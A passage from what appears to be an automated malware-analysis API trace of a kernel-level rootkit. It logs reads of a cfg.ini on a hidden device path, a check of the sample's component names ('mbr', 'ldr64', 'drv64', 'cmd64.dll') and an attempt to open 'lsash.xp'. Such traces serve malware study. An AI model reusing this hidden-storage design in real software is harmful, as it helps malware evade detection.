[0127.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.065] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.065] KeEnterCriticalRegion () [0127.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.065] IdePortDispatch () returned 0x103 [0127.066] KeWaitForMutexObject () returned 0x0 [0127.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.066] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.066] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.066] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.066] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.066] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf51d0 [0127.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.066] KeLeaveCriticalRegion () [0127.066] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.066] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.066] KeEnterCriticalRegion () [0127.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.066] KeLeaveCriticalRegion () [0127.066] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.066] KeEnterCriticalRegion () [0127.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.066] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.066] IdePortDispatch () returned 0x103 [0127.067] KeWaitForMutexObject () returned 0x0 [0127.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.067] KeLeaveCriticalRegion () [0127.067] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.067] KeEnterCriticalRegion () [0127.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.067] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b78000 [0127.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.067] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.067] IdePortDispatch () returned 0x103 [0127.067] KeWaitForMutexObject () returned 0x0 [0127.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.067] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.068] IdePortDispatch () returned 0x103 [0127.068] KeWaitForMutexObject () returned 0x0 [0127.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.068] KeLeaveCriticalRegion () [0127.068] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.068] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.069] KeEnterCriticalRegion () [0127.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] KeLeaveCriticalRegion () [0127.069] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.069] KeEnterCriticalRegion () [0127.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.069] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] KeLeaveCriticalRegion () [0127.069] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.069] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.069] KeEnterCriticalRegion () [0127.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] ExFreePoolWithTag (P=0xfffffa8003bf51d0, Tag=0x0) [0127.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] KeLeaveCriticalRegion () [0127.069] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.069] ReleaseMutex (hMutex=0xf0) returned 1 [0127.069] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.069] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.069] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.069] KeEnterCriticalRegion () [0127.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.069] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.069] IdePortDispatch () returned 0x103 [0127.070] KeWaitForMutexObject () returned 0x0 [0127.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.070] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.070] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.070] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.070] KeLeaveCriticalRegion () [0127.070] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.070] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.070] KeEnterCriticalRegion () [0127.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.070] KeLeaveCriticalRegion () [0127.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.070] KeEnterCriticalRegion () [0127.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.070] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.070] IdePortDispatch () returned 0x103 [0127.071] KeWaitForMutexObject () returned 0x0 [0127.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.071] KeLeaveCriticalRegion () [0127.071] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.071] KeEnterCriticalRegion () [0127.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b79000 [0127.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.071] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.071] IdePortDispatch () returned 0x103 [0127.071] KeWaitForMutexObject () returned 0x0 [0127.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.071] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.071] IdePortDispatch () returned 0x103 [0127.072] KeWaitForMutexObject () returned 0x0 [0127.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.072] KeLeaveCriticalRegion () [0127.072] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.072] KeEnterCriticalRegion () [0127.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] KeLeaveCriticalRegion () [0127.073] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.073] KeEnterCriticalRegion () [0127.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.073] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] KeLeaveCriticalRegion () [0127.073] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.073] KeEnterCriticalRegion () [0127.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] KeLeaveCriticalRegion () [0127.073] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.073] ReleaseMutex (hMutex=0xf0) returned 1 [0127.073] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.073] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.073] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.073] KeEnterCriticalRegion () [0127.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.073] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.073] IdePortDispatch () returned 0x103 [0127.074] KeWaitForMutexObject () returned 0x0 [0127.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.074] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.074] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.074] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da730 [0127.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.074] KeLeaveCriticalRegion () [0127.074] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.074] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.074] KeEnterCriticalRegion () [0127.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.074] KeLeaveCriticalRegion () [0127.074] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.074] KeEnterCriticalRegion () [0127.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.074] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.074] IdePortDispatch () returned 0x103 [0127.075] KeWaitForMutexObject () returned 0x0 [0127.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.075] KeLeaveCriticalRegion () [0127.075] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.075] KeEnterCriticalRegion () [0127.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7a000 [0127.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.076] IdePortDispatch () returned 0x103 [0127.076] KeWaitForMutexObject () returned 0x0 [0127.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.076] IdePortDispatch () returned 0x103 [0127.076] KeWaitForMutexObject () returned 0x0 [0127.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.076] KeLeaveCriticalRegion () [0127.076] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.077] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.077] KeEnterCriticalRegion () [0127.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] KeLeaveCriticalRegion () [0127.077] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.077] KeEnterCriticalRegion () [0127.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.077] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] KeLeaveCriticalRegion () [0127.077] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.077] KeEnterCriticalRegion () [0127.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] ExFreePoolWithTag (P=0xfffffa80037da730, Tag=0x0) [0127.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.077] KeLeaveCriticalRegion () [0127.077] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.077] ReleaseMutex (hMutex=0xf0) returned 1 [0127.078] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.078] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.078] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.078] KeEnterCriticalRegion () [0127.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.078] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.078] IdePortDispatch () returned 0x103 [0127.078] KeWaitForMutexObject () returned 0x0 [0127.078] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.078] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.078] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.078] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.078] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.078] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.078] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.078] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.078] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.078] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.078] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.079] KeLeaveCriticalRegion () [0127.079] IofCompleteRequest 